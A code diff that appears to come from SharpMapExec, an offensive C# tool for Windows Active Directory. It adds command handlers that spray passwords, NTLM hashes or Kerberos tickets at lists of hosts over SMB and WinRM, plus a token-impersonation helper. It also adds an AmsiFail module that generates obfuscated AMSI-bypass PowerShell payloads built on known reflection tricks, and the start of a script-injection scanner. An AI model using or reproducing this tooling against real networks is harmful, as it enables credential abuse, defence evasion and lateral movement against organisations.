     119 + password.Cleartext = File.ReadAllLines(arguments["/password"]);
     120 + }
     121 + else
     122 + {
     123 + password.Cleartext = arguments["/password"].Split(',');
     124 + }
     125 + }
     126 + else if (arguments.ContainsKey("/ntlm"))
     127 + {
     128 + if (File.Exists(arguments["/ntlm"]))
     129 + {
     130 + hash.Nthash = File.ReadAllLines(arguments["/ntlm"]);
     131 + }
     132 + else
     133 + {
     134 + hash.Nthash = arguments["/ntlm"].Split(',');
     135 + }
     136 + }
     137 + else
     138 + {
     139 + Console.WriteLine("[-] /password or /ntlm must be supplied");
     140 + return;
     141 + }
     142 + if (password.Cleartext != null)
     143 + {
     144 + NtlmWinRm(user, domain, password, computernames, module, moduleargument, path, destination, flags);
     145 + }
     146 + else
     147 + {
     148 + NtlmWinRm(user, domain, hash, computernames, module, moduleargument, path, destination, flags);
     149 + }
     150 + }
     151 + }
     152 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Commands/kerberosSmb.cs
     1 +using Rubeus;
     2 +using System;
     3 +using System.Collections.Generic;
     4 +using System.IO;
     5 +using static SharpMapExec.Lib.kerberossmb;
     6 + 
     7 +namespace SharpMapExec.Commands
     8 +{
     9 + public class kerberosSmb : ICommand
     10 + {
     11 + public static string CommandName => "kerberossmb";
     12 + 
     13 + public void Execute(Dictionary<string, string> arguments)
     14 + {
     15 + string[] users = { };
     16 + string domain = "";
     17 + string[] passwords = { };
     18 + string[] hashes = { };
     19 + string dc = "";
     20 + string ticket = "";
     21 + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
     22 + string[] computernames;
     23 + string module = "";
     24 + string moduleargument = "";
     25 + List<string> flags = new List<string>();
     26 + 
     27 + if (arguments.ContainsKey("/m"))
     28 + {
     29 + module = arguments["/m"];
     30 + }
     31 + if (arguments.ContainsKey("/module"))
     32 + {
     33 + module = arguments["/module"];
     34 + }
     35 + if (arguments.ContainsKey("/a"))
     36 + {
     37 + moduleargument = arguments["/a"];
     38 + }
     39 + if (arguments.ContainsKey("/argument"))
     40 + {
     41 + moduleargument = arguments["/argument"];
     42 + }
     43 + 
     44 + if (arguments.ContainsKey("/user"))
     45 + {
     46 + if (File.Exists(arguments["/user"]))
     47 + {
     48 + users = File.ReadAllLines(arguments["/user"]);
     49 + }
     50 + else
     51 + {
     52 + string[] parts = arguments["/user"].Split('\\');
     53 + if (parts.Length == 2)
     54 + {
     55 + domain = parts[0];
     56 + users = parts[1].Split(',');
     57 + }
     58 + else
     59 + {
     60 + users = arguments["/user"].Split(',');
     61 + }
     62 + }
     63 + }
     64 + 
     65 + if (arguments.ContainsKey("/domain"))
     66 + {
     67 + domain = arguments["/domain"];
     68 + }
     69 + if (arguments.ContainsKey("/dc"))
     70 + {
     71 + dc = arguments["/dc"];
     72 + }
     73 + if (arguments.ContainsKey("/ticket"))
     74 + {
     75 + ticket = arguments["/ticket"];
     76 + }
     77 + 
     78 + if (arguments.ContainsKey("/computername"))
     79 + {
     80 + if (File.Exists(arguments["/computername"]))
     81 + {
     82 + computernames = File.ReadAllLines(arguments["/computername"]);
     83 + }
     84 + else
     85 + {
     86 + computernames = arguments["/computername"].Split(',');
     87 + }
     88 + }
     89 + else
     90 + {
     91 + Console.WriteLine("[-] /computername must be supplied!");
     92 + return;
     93 + }
     94 + 
     95 + if (arguments.ContainsKey("/encType"))
     96 + {
     97 + string encTypeString = encType.ToString().ToUpper();
     98 + 
     99 + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
     100 + {
     101 + encType = Interop.KERB_ETYPE.rc4_hmac;
     102 + }
     103 + else if (encTypeString.Equals("AES128"))
     104 + {
     105 + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
     106 + }
     107 + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
     108 + {
     109 + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
     110 + }
     111 + else if (encTypeString.Equals("DES"))
     112 + {
     113 + encType = Interop.KERB_ETYPE.des_cbc_md5;
     114 + }
     115 + }
     116 + else
     117 + encType = Interop.KERB_ETYPE.rc4_hmac;
     118 + 
     119 + if (arguments.ContainsKey("/password"))
     120 + {
     121 + if (File.Exists(arguments["/password"]))
     122 + passwords = File.ReadAllLines(arguments["/password"]);
     123 + else
     124 + passwords = arguments["/password"].Split(',');
     125 + }
     126 + else if (arguments.ContainsKey("/des"))
     127 + {
     128 + if (File.Exists(arguments["/des"]))
     129 + hashes = File.ReadAllLines(arguments["/des"]);
     130 + else
     131 + hashes = arguments["/des"].Split(',');
     132 + encType = Interop.KERB_ETYPE.des_cbc_md5;
     133 + }
     134 + else if (arguments.ContainsKey("/rc4"))
     135 + {
     136 + if (File.Exists(arguments["/rc4"]))
     137 + hashes = File.ReadAllLines(arguments["/rc4"]);
     138 + else
     139 + hashes = arguments["/rc4"].Split(',');
     140 + encType = Interop.KERB_ETYPE.rc4_hmac;
     141 + }
     142 + else if (arguments.ContainsKey("/ntlm"))
     143 + {
     144 + if (File.Exists(arguments["/ntlm"]))
     145 + hashes = File.ReadAllLines(arguments["/ntlm"]);
     146 + else
     147 + hashes = arguments["/ntlm"].Split(',');
     148 + encType = Interop.KERB_ETYPE.rc4_hmac;
     149 + }
     150 + else if (arguments.ContainsKey("/aes128"))
     151 + {
     152 + hashes = arguments["/aes128"].Split(',');
     153 + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
     154 + }
     155 + else if (arguments.ContainsKey("/aes256"))
     156 + {
     157 + hashes = arguments["/aes256"].Split(',');
     158 + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
     159 + }
     160 + 
     161 + if (users.Length == 0 && String.IsNullOrEmpty(ticket))
     162 + {
     163 + Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
     164 + return;
     165 + }
     166 + if (String.IsNullOrEmpty(domain) && String.IsNullOrEmpty(ticket))
     167 + {
     168 + Console.WriteLine("\r\n[X] You must supply a domain!\r\n");
     169 + return;
     170 + }
     171 + 
     172 + if ((hashes.Length == 0 && passwords.Length == 0) && String.IsNullOrEmpty(ticket))
     173 + {
     174 + Console.WriteLine("\r\n[X] You must supply a /password , or a [/des|/rc4|/aes128|/aes256] hash!\r\n");
     175 + return;
     176 + }
     177 + 
     178 + if (String.IsNullOrEmpty(ticket) && (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))))
     179 + {
     180 + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n");
     181 + return;
     182 + }
     183 + KerberosSmb(users, domain, passwords, hashes, ticket, encType, dc, computernames, module, moduleargument, flags);
     184 + }
     185 + }
     186 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Commands/kerberosWinrm.cs
     1 +using Rubeus;
     2 +using System;
     3 +using System.Collections.Generic;
     4 +using System.IO;
     5 +using static SharpMapExec.Lib.kerberoswinrm;
     6 + 
     7 +namespace SharpMapExec.Commands
     8 +{
     9 + public class kerberosWinrm : ICommand
     10 + {
     11 + public static string CommandName => "kerberoswinrm";
     12 + 
     13 + public void Execute(Dictionary<string, string> arguments)
     14 + {
     15 + string[] users = { };
     16 + string domain = "";
     17 + string path = "";
     18 + string destination = "";
     19 + string[] passwords = { };
     20 + string[] hashes = { };
     21 + string dc = "";
     22 + string ticket = "";
     23 + Interop.KERB_ETYPE encType = Interop.KERB_ETYPE.subkey_keymaterial;
     24 + string[] computernames;
     25 + string module = "";
     26 + string moduleargument = "";
     27 + List<string> flags = new List<string>();
     28 + 
     29 + if (arguments.ContainsKey("/d"))
     30 + {
     31 + destination = arguments["/d"];
     32 + }
     33 + if (arguments.ContainsKey("/destination"))
     34 + {
     35 + destination = arguments["/destination"];
     36 + }
     37 + if (arguments.ContainsKey("/p"))
     38 + {
     39 + path = arguments["/p"];
     40 + }
     41 + if (arguments.ContainsKey("/path"))
     42 + {
     43 + path = arguments["/path"];
     44 + }
     45 + if (arguments.ContainsKey("/m"))
     46 + {
     47 + module = arguments["/m"];
     48 + }
     49 + if (arguments.ContainsKey("/module"))
     50 + {
     51 + module = arguments["/module"];
     52 + }
     53 + if (arguments.ContainsKey("/a"))
     54 + {
     55 + moduleargument = arguments["/a"];
     56 + }
     57 + if (arguments.ContainsKey("/argument"))
     58 + {
     59 + moduleargument = arguments["/argument"];
     60 + }
     61 + 
     62 + if (arguments.ContainsKey("/user"))
     63 + {
     64 + if (File.Exists(arguments["/user"]))
     65 + {
     66 + users = File.ReadAllLines(arguments["/user"]);
     67 + }
     68 + else
     69 + {
     70 + string[] parts = arguments["/user"].Split('\\');
     71 + if (parts.Length == 2)
     72 + {
     73 + domain = parts[0];
     74 + users = parts[1].Split(',');
     75 + }
     76 + else
     77 + {
     78 + users = arguments["/user"].Split(',');
     79 + }
     80 + }
     81 + }
     82 + 
     83 + if (arguments.ContainsKey("/domain"))
     84 + {
     85 + domain = arguments["/domain"];
     86 + }
     87 + if (arguments.ContainsKey("/dc"))
     88 + {
     89 + dc = arguments["/dc"];
     90 + }
     91 + if (arguments.ContainsKey("/ticket"))
     92 + {
     93 + ticket = arguments["/ticket"];
     94 + }
     95 + 
     96 + if (arguments.ContainsKey("/computername"))
     97 + {
     98 + if (File.Exists(arguments["/computername"]))
     99 + {
     100 + computernames = File.ReadAllLines(arguments["/computername"]);
     101 + }
     102 + else
     103 + {
     104 + computernames = arguments["/computername"].Split(',');
     105 + }
     106 + }
     107 + else
     108 + {
     109 + Console.WriteLine("[-] /computername must be supplied!");
     110 + return;
     111 + }
     112 + 
     113 + if (arguments.ContainsKey("/encType"))
     114 + {
     115 + string encTypeString = encType.ToString().ToUpper();
     116 + 
     117 + if (encTypeString.Equals("RC4") || encTypeString.Equals("NTLM"))
     118 + {
     119 + encType = Interop.KERB_ETYPE.rc4_hmac;
     120 + }
     121 + else if (encTypeString.Equals("AES128"))
     122 + {
     123 + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
     124 + }
     125 + else if (encTypeString.Equals("AES256") || encTypeString.Equals("AES"))
     126 + {
     127 + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
     128 + }
     129 + else if (encTypeString.Equals("DES"))
     130 + {
     131 + encType = Interop.KERB_ETYPE.des_cbc_md5;
     132 + }
     133 + }
     134 + else
     135 + encType = Interop.KERB_ETYPE.rc4_hmac;
     136 + 
     137 + if (arguments.ContainsKey("/password"))
     138 + {
     139 + if (File.Exists(arguments["/password"]))
     140 + passwords = File.ReadAllLines(arguments["/password"]);
     141 + else
     142 + passwords = arguments["/password"].Split(',');
     143 + }
     144 + else if (arguments.ContainsKey("/des"))
     145 + {
     146 + if (File.Exists(arguments["/des"]))
     147 + hashes = File.ReadAllLines(arguments["/des"]);
     148 + else
     149 + hashes = arguments["/des"].Split(',');
     150 + encType = Interop.KERB_ETYPE.des_cbc_md5;
     151 + }
     152 + else if (arguments.ContainsKey("/rc4"))
     153 + {
     154 + if (File.Exists(arguments["/rc4"]))
     155 + hashes = File.ReadAllLines(arguments["/rc4"]);
     156 + else
     157 + hashes = arguments["/rc4"].Split(',');
     158 + encType = Interop.KERB_ETYPE.rc4_hmac;
     159 + }
     160 + else if (arguments.ContainsKey("/ntlm"))
     161 + {
     162 + if (File.Exists(arguments["/ntlm"]))
     163 + hashes = File.ReadAllLines(arguments["/ntlm"]);
     164 + else
     165 + hashes = arguments["/ntlm"].Split(',');
     166 + encType = Interop.KERB_ETYPE.rc4_hmac;
     167 + }
     168 + else if (arguments.ContainsKey("/aes128"))
     169 + {
     170 + hashes = arguments["/aes128"].Split(',');
     171 + encType = Interop.KERB_ETYPE.aes128_cts_hmac_sha1;
     172 + }
     173 + else if (arguments.ContainsKey("/aes256"))
     174 + {
     175 + hashes = arguments["/aes256"].Split(',');
     176 + encType = Interop.KERB_ETYPE.aes256_cts_hmac_sha1;
     177 + }
     178 + 
     179 + if (users.Length == 0 && String.IsNullOrEmpty(ticket))
     180 + {
     181 + Console.WriteLine("\r\n[X] You must supply a user name!\r\n");
     182 + return;
     183 + }
     184 + if (String.IsNullOrEmpty(domain) && String.IsNullOrEmpty(ticket))
     185 + {
     186 + Console.WriteLine("\r\n[X] You must supply a domain!\r\n");
     187 + return;
     188 + }
     189 + 
     190 + if ((hashes.Length == 0 && passwords.Length == 0) && String.IsNullOrEmpty(ticket))
     191 + {
     192 + Console.WriteLine("\r\n[X] You must supply a /password , or a [/des|/rc4|/aes128|/aes256] hash!\r\n");
     193 + return;
     194 + }
     195 + 
     196 + if (String.IsNullOrEmpty(ticket) && (!((encType == Interop.KERB_ETYPE.des_cbc_md5) || (encType == Interop.KERB_ETYPE.rc4_hmac) || (encType == Interop.KERB_ETYPE.aes128_cts_hmac_sha1) || (encType == Interop.KERB_ETYPE.aes256_cts_hmac_sha1))))
     197 + {
     198 + Console.WriteLine("\r\n[X] Only /des, /rc4, /aes128, and /aes256 are supported at this time.\r\n");
     199 + return;
     200 + }
     201 + 
     202 + KerberosWinRm(users, domain, passwords, hashes, ticket, encType, dc, computernames, module, moduleargument, path, destination, flags);
     203 + }
     204 + }
     205 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/AmsiFail.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.Linq;
     4 +using System.Text;
     5 +using System.Text.RegularExpressions;
     6 + 
     7 + 
     8 +namespace SharpMapExec.Helpers
     9 +{
     10 + class AmsiFail
     11 + {
     12 + private static Random random = new Random();
     13 + 
     14 + public static int RandomNumber(int min, int max)
     15 + {
     16 + return random.Next(min, max);
     17 + }
     18 + public static string ObfuCharBute(char charin)
     19 + {
     20 + 
     21 + int asciiInt = Convert.ToInt32(charin);
     22 + var asciiByte = Convert.ToByte(asciiInt).ToString("X");
     23 + return "[" + RandomCase("CHAR") + "][" + RandomCase("BYTE") + "]0x" + asciiByte;
     24 + }
     25 + public static string RandomCase(string input)
     26 + {
     27 + return new string((input.Select(x => random.Next() % 2 == 0 ? (char.IsUpper(x) ? x.ToString().ToLower().First() : x.ToString().ToUpper().First()) : x)).ToArray());
     28 + }
     29 + 
     30 + 
     31 + public static string ByteEncode(char inputChar)
     32 + {
     33 + //Get the ascii value of the char
     34 + int asciiValue = Convert.ToInt32(inputChar);
     35 + 
     36 + return $"([{RandomCase("byte")}]0x{Convert.ToByte(asciiValue).ToString("X")})";
     37 + }
     38 + 
     39 + public static string DiacriticEncode(string inputChar)
     40 + {
     41 + string charBuilder = "";
     42 + foreach (var _char in inputChar)
     43 + {
     44 + charBuilder += GetRandomDiacritic(Convert.ToInt32(_char));
     45 + }
     46 + return charBuilder;
     47 + 
     48 + }
     49 + 
     50 + private static string GetRandomDiacritic(int asciiValue)
     51 + {
     52 + switch (asciiValue)
     53 + {
     54 + case 65: //A
     55 + return Convert.ToChar(RandomNumber(192, 197)).ToString();
     56 + case 97: //a
     57 + return Convert.ToChar(RandomNumber(224, 229)).ToString();
     58 + case 73: //I
     59 + return Convert.ToChar(RandomNumber(204, 207)).ToString();
     60 + case 105: //i
     61 + return Convert.ToChar(RandomNumber(236, 239)).ToString();
     62 + case 79: //O
     63 + return Convert.ToChar(RandomNumber(210, 216)).ToString();
     64 + case 69: //E
     65 + return Convert.ToChar(RandomNumber(236, 239)).ToString();
     66 + case 111: //o
     67 + return Convert.ToChar(RandomNumber(243, 246)).ToString();
     68 + default:
     69 + return Convert.ToChar(asciiValue).ToString();
     70 + }
     71 + 
     72 + 
     73 + }
     74 + 
     75 + public static string HTMLEncode(string inputChar)
     76 + {
     77 + var charBuilder = "";
     78 + foreach (var _char in inputChar)
     79 + {
     80 + charBuilder += $"&#" + Convert.ToInt32(_char) + ";";
     81 + }
     82 + return charBuilder;
     83 + 
     84 + }
     85 + 
     86 + public static string CharEncode(char inputChar)
     87 + {
     88 + //Get the ascii value of the char
     89 + int asciiValue = Convert.ToInt32(inputChar);
     90 + 
     91 + //Obfuscate the int value
     92 + return ObfuscateInt(asciiValue).ToString();
     93 + 
     94 + }
     95 + 
     96 + public static string ObfuscateChar(char charInput)
     97 + {
     98 + 
     99 + //Select a random encoding method for a single char
     100 + switch (RandomNumber(1, 3))
     101 + {
     102 + case 1:
     103 + return "+[" + RandomCase("CHAR") + "]" + ByteEncode(charInput);
     104 + case 2:
     105 + return "+[" + RandomCase("CHAR") + "]" + CharEncode(charInput);
     106 + default:
     107 + return "+[" + RandomCase("CHAR") + "]" + CharEncode(charInput);
     108 + }
     109 + 
     110 + }
     111 + 
     112 + public static string ObfuscateInt(int asciiInt)
     113 + {
     114 + var subNumber = RandomNumber(asciiInt - asciiInt + 1, (asciiInt - 2));
     115 + 
     116 + switch (RandomNumber(1, 5))
     117 + {
     118 + case 1:
     119 + return $"({subNumber}+{asciiInt - subNumber})";
     120 + case 2:
     121 + return $"({asciiInt + subNumber}-{subNumber})";
     122 + case 3:
     123 + return $"({asciiInt * subNumber}/{subNumber})";
     124 + case 4:
     125 + return $"({asciiInt})";
     126 + default:
     127 + return $"({asciiInt * subNumber}/{subNumber})";
     128 + }
     129 + }
     130 + 
     131 + public static string ObfuscateString(string data)
     132 + {
     133 + string obfuscatedString = "";
     134 + switch (RandomNumber(1, 3))
     135 + {
     136 + case 1:
     137 + foreach (char _char in data)
     138 + {
     139 + obfuscatedString += ObfuscateChar(_char);
     140 + }
     141 + return obfuscatedString;
     142 + case 2:
     143 + //Obfuscate the whole string as HTML
     144 + return "+[" + RandomCase("System.Net.WebUtility") + "]::" + RandomCase("HtmlDecode") + "('" + HTMLEncode(data) + "')";
     145 + case 3:
     146 + //This part is not rdy yet :/
     147 + return $"+'{DiacriticEncode(data)}'." + @"Normalize('FormD') -replace '\p{Mn}'";
     148 + default:
     149 + return "";
     150 + }
     151 + }
     152 + 
     153 + public static string RandomString(int size, bool lowerCase = false)
     154 + {
     155 + var builder = new StringBuilder(size);
     156 + char offset = lowerCase ? 'a' : 'A';
     157 + const int lettersOffset = 26;
     158 + 
     159 + for (var i = 0; i < size; i++)
     160 + {
     161 + var @char = (char)random.Next(offset, offset + lettersOffset);
     162 + builder.Append(@char);
     163 + }
     164 + return lowerCase ? builder.ToString().ToLower() : builder.ToString();
     165 + }
     166 + 
     167 + public static string encodePayload(string examplePayloads, bool doubleQutes = false)
     168 + {
     169 + //Regex to pull out all strings inside '*' tags
     170 + Regex rgStringRule = new Regex(@"\'(.*?)\'", RegexOptions.Compiled | RegexOptions.IgnoreCase);
     171 + 
     172 + //Pull all all results that are not empty
     173 + List<string> matchedStrings = rgStringRule.Matches(examplePayloads).Cast<Match>().Where(x => !string.IsNullOrEmpty(x.Value)).Select(x => x.Value).ToList();
     174 + 
     175 + //if there is any results
     176 + if (matchedStrings.Count() > 0)
     177 + {
     178 + //Pick ONE of them at random
     179 + string randomString = matchedStrings[RandomNumber(0, matchedStrings.Count())];
     180 + 
     181 + //Obfuscate the whole string
     182 + string randomObfuscatedString = ObfuscateString(randomString.Replace("'", "")).TrimStart('+');
     183 + 
     184 + //Replace
     185 + examplePayloads = examplePayloads.Replace(randomString, "$(" + randomObfuscatedString + ")");
     186 + }
     187 + 
     188 + 
     189 + //Will add more key words here
     190 + var mustEncode = new string[] { "Amsi", "amsi" };
     191 + 
     192 + foreach (var word in mustEncode)
     193 + {
     194 + string obfuscatedString = ObfuscateString(word);
     195 + 
     196 + if (doubleQutes)
     197 + obfuscatedString = "$(" + obfuscatedString.TrimStart('+') + ")";
     198 + else
     199 + obfuscatedString = "'+$(" + obfuscatedString.TrimStart('+') + ")+'";
     200 + 
     201 + examplePayloads = examplePayloads.Replace(word, obfuscatedString);
     202 + }
     203 + 
     204 + return examplePayloads;
     205 + 
     206 + }
     207 + public static string GetPayload()
     208 + {
     209 + //Unknown -Force error
     210 + var memVar = RandomString(RandomNumber(3, 10));
     211 + //var ForceErrer = "$" + memVar + "=[System.Runtime.InteropServices.Marshal]::AllocHGlobal(" + ObfuscateInt(9076) + ");[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiSession\", \"NonPublic,Static\").SetValue($null, $null);[Ref].Assembly.GetType(\"System.Management.Automation.AmsiUtils\").GetField(\"amsiContext\", \"NonPublic,Static\").SetValue($null, [IntPtr]$" + memVar + ");";
     212 + 
     213 + // Using Matt Graebers Reflection method
     214 + var MattGRefl = "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true);";
     215 + 
     216 + //Using Matt Graebers Reflection method with WMF5 autologging bypass
     217 + var MattGReflLog = "[Delegate]::CreateDelegate((\"Func``3[String, $(([String].Assembly.GetType('System.Reflection.BindingFlags')).FullName), System.Reflection.FieldInfo]\" -as [String].Assembly.GetType('System.Type')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetField')).Invoke('amsiInitFailed',(('NonPublic,Static') -as [String].Assembly.GetType('System.Reflection.BindingFlags'))).SetValue($null,$True);";
     218 + 
     219 + //Using Matt Graebers second Reflection method
     220 + var MattGref02 = "[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x" + random.Next(0, int.MaxValue).ToString("X") + ");";
     221 + 
     222 + //Select a random method
     223 + switch (RandomNumber(1, 3))
     224 + {
     225 + case 1:
     226 + return encodePayload(MattGRefl);
     227 + case 2:
     228 + return encodePayload(MattGReflLog);
     229 + case 3:
     230 + return encodePayload(MattGref02);
     231 + //case 4:
     232 + // return encodePayload(ForceErrer, true);
     233 + default:
     234 + return encodePayload(MattGRefl);
     235 + }
     236 + }
     237 + }
     238 +}
     239 + 
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/Impersonator.cs
     1 +using Microsoft.Win32.SafeHandles;
     2 +using System;
     3 +using System.ComponentModel;
     4 +using System.Runtime.ConstrainedExecution;
     5 +using System.Runtime.InteropServices;
     6 +using System.Security;
     7 +using System.Security.Permissions;
     8 +using System.Security.Principal;
     9 + 
     10 +namespace SharpMapExec.Helpers
     11 +{
     12 + internal class Impersonator
     13 + {
     14 + //Reference https://stackoverflow.com/questions/22544903/impersonate-for-entire-application-lifecycle
     15 + 
     16 + [PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
     17 + public class Impersonation : IDisposable
     18 + {
     19 + private readonly SafeTokenHandle _handle;
     20 + private readonly WindowsImpersonationContext _context;
     21 + 
     22 + private const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
     23 + 
     24 + public Impersonation(string domain, string username, string password)
     25 + {
     26 + var ok = LogonUser(username, domain, password,
     27 + LOGON32_LOGON_NEW_CREDENTIALS, 0, out this._handle);
     28 + if (!ok)
     29 + {
     30 + var errorCode = Marshal.GetLastWin32Error();
     31 + throw new ApplicationException(string.Format("Could not impersonate the elevated user. LogonUser returned error code {0}.", errorCode));
     32 + }
     33 + 
     34 + this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle());
     35 + }
     36 + 
     37 + public void Dispose()
     38 + {
     39 + this._context.Dispose();
     40 + this._handle.Dispose();
     41 + }
     42 + 
     43 + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
     44 + private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
     45 + 
     46 + public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
     47 + {
     48 + private SafeTokenHandle()
     49 + : base(true) { }
     50 + 
     51 + [DllImport("kernel32.dll")]
     52 + [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
     53 + [SuppressUnmanagedCodeSecurity]
     54 + [return: MarshalAs(UnmanagedType.Bool)]
     55 + private static extern bool CloseHandle(IntPtr handle);
     56 + 
     57 + protected override bool ReleaseHandle()
     58 + {
     59 + return CloseHandle(handle);
     60 + }
     61 + }
     62 + }
     63 + }
     64 + 
     65 + public class AToken
     66 + {
     67 + // Based on SharpSploit MakeToken
     68 + [DllImport("kernel32.dll", SetLastError = true)]
     69 + private static extern bool CloseHandle(IntPtr hObject);
     70 + 
     71 + [DllImport("Advapi32.dll", SetLastError = true)]
     72 + private static extern bool RevertToSelf();
     73 + 
     74 + [DllImport("advapi32.dll", SetLastError = true)]
     75 + public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
     76 + 
     77 + [DllImport("advapi32.dll", SetLastError = true)]
     78 + public static extern bool LogonUserA(
     79 + string lpszUsername,
     80 + string lpszDomain,
     81 + string lpszPassword,
     82 + LOGON_TYPE dwLogonType,
     83 + LOGON_PROVIDER dwLogonProvider,
     84 + ref IntPtr phToken);
     85 + 
     86 + [Flags]
     87 + public enum LOGON_TYPE : uint
     88 + {
     89 + LOGON32_LOGON_INTERACTIVE = 2, //will not work for sacrify, still active
     90 + LOGON32_LOGON_NETWORK, //will not work for sacrify, still active
     91 + LOGON32_LOGON_BATCH, //will not work for sacrify, still active
     92 + LOGON32_LOGON_SERVICE, //will not work for sacrify, still active
     93 + LOGON32_LOGON_UNLOCK = 7, //will not work for sacrify, still active
     94 + LOGON32_LOGON_NETWORK_CLEARTEXT, //will not work for sacrify, still active
     95 + LOGON32_LOGON_NEW_CREDENTIALS
     96 + }
     97 + 
     98 + [Flags]
     99 + public enum LOGON_PROVIDER : uint
     100 + {
     101 + LOGON32_PROVIDER_DEFAULT,
     102 + LOGON32_PROVIDER_WINNT35,
     103 + LOGON32_PROVIDER_WINNT40,
     104 + LOGON32_PROVIDER_WINNT50
     105 + }
     106 + 
     107 + public static bool MakeToken(string Username, string Domain, string Password, LOGON_TYPE LogonType = LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
     108 + {
     109 + IntPtr hProcessToken = IntPtr.Zero;
     110 + if (!LogonUserA(
     111 + Username, Domain, Password,
     112 + LogonType,
     113 + LOGON_PROVIDER.LOGON32_PROVIDER_WINNT50,
     114 + ref hProcessToken))
     115 + {
     116 + Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
     117 + return false;
     118 + }
     119 + 
     120 + if (!ImpersonateLoggedOnUser(hProcessToken))
     121 + {
     122 + Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
     123 + CloseHandle(hProcessToken);
     124 + return false;
     125 + }
     126 + return true;
     127 + }
     128 + 
     129 + public static bool RevertFromToken()
     130 + {
     131 + if (!RevertToSelf())
     132 + {
     133 + Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
     134 + return false;
     135 + }
     136 + return true;
     137 + }
     138 + }
     139 +}
  • ■ ■ ■ ■ ■ ■
    SharpMapExec/Helpers/Jea.cs
     1 +using System;
     2 +using System.Collections.Generic;
     3 +using System.Linq;
     4 +using System.Management.Automation.Language;
     5 +using System.Text.RegularExpressions;
     6 + 
     7 +namespace SharpMapExec.Helpers
     8 +{
     9 + public static class Extension
     10 + {
     11 + public static bool In(this string source, string toCheck, StringComparison comp)
     12 + {
     13 + return source?.IndexOf(toCheck, comp) >= 0;
     14 + }
     15 + 
     16 + public static bool In<T>(this T item, bool regex, List<string> items)
     17 + {
     18 + if (items == null)
     19 + throw new ArgumentNullException("items");
     20 + 
     21 + if (regex)
     22 + {
     23 + string pattern = Regex.Escape(item.ToString()).Replace(@"\*", ".*").Replace(@"\?", ".");
     24 + return items.Any(testitem => Regex.IsMatch(testitem.ToString(), pattern));
     25 + }
     26 + else
     27 + {
     28 + return items.Contains(item.ToString().ToLower());
     29 + }
     30 + }
     31 + }
     32 + 
     33 + public class Jea
     34 + {
     35 + //https://github.com/mkropat/PowershellAstWriter/blob/48140116ee3cd6ab9f20725c669c6c0fb8e7ce9d/PowershellAstWriterTests/PowershellAstWriterTests.cs
     36 + 
     37 + public static void RunAllChecks(string scriptblock)
     38 + {
     39 + MeasureInvokeExpression(scriptblock);
     40 + //MeasureAddType(scriptblock);
     41 + MeasureDangerousMethod(scriptblock);
     42 + MeasureCommandInjection(scriptblock);
     43 + MeasureForeachObjectInjection(scriptblock);
     44 + MeasurePropertyInjection(scriptblock);
     45 + MeasureMethodInjection(scriptblock);
     46 + MeasureUnsafeEscaping(scriptblock);
     47 + }
     48 + 
     49 + public static void MeasureInvokeExpression(string ScriptBlock)
     50 + {
     51 + Token[] token;
     52 + ParseError[] error;
     53 + ScriptBlockAst ScriptBlockAst = Parser.ParseInput(ScriptBlock, out token, out error);
     54 + 
     55 + Func<Ast, bool> predicate = delegate (Ast ast)
     56 + {
     57 + var derpVar = new VariableExpressionAst(ast.Extent, "Derp", splatted: false);
     58 + CommandAst targetAst = new CommandAst(ast.Extent, new[] { derpVar }, TokenKind.Unknown, Enumerable.Empty<RedirectionAst>());
     59 + if (targetAst != null)
     60 + {
     61 + if (targetAst.CommandElements[0].Extent.Text.In(false, new List<string> { "iex", "invoke-expression" }))
     62 + {
     63 + return true;
     64 + }
     65 + }
     66 + return false;
     67 + };
     68 + 
     69 + var foundNode = ScriptBlockAst.Find(predicate, true);
     70 + if (foundNode != null)
     71 + {
     72 + Console.WriteLine("[+] Possible injection vulnerability found");
     73 + Console.WriteLine(String.Format(@"Possible script injection risk via the Invoke-Expression cmdlet. Untrusted input can cause arbitrary PowerShell expressions to be run.
     74 +Variables may be used directly for dynamic parameter arguments, splatting can be used for dynamic parameter names, and the invocation operator can be used for dynamic command names.
